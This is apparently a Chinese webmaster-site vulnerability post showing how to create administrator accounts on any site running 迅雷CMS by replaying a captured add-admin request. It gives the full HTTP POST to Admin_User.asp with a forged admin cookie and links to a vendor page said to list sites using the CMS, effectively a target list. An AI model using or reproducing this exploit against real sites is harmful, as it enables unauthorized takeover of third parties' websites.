迅雷CMS任意添加管理员账号下载

银川迅雷网络有限公司
官网:www.ycxl.net

先找一个迅雷CMS的后台进入 添加管理员 然后抓包

然后换成另外一个迅雷CMS的网址 点击GO

添加成功

成功添加

添加成功
 

POST /admin/Admin_User.asp?action=savenew HTTP/1.1
Host: ******
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://*****/admin/Admin_User.asp?action=add
Cookie: ASPSESSIONIDSSAARRCR=CANNHNEDCDIOIDFLOCNBMCFL; cmsname=admin; cmsid=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

username2=账号&password2=密码&Submit=%CC%ED+%BC%D3





http://www.ycxl.net/index.php?m=Article&a=index&id=22 这里的网站都是迅雷CMS的

 

当前位置:站长啦网站目录 » 站长资讯 » 站长新闻 » 漏洞预警 » 文章详细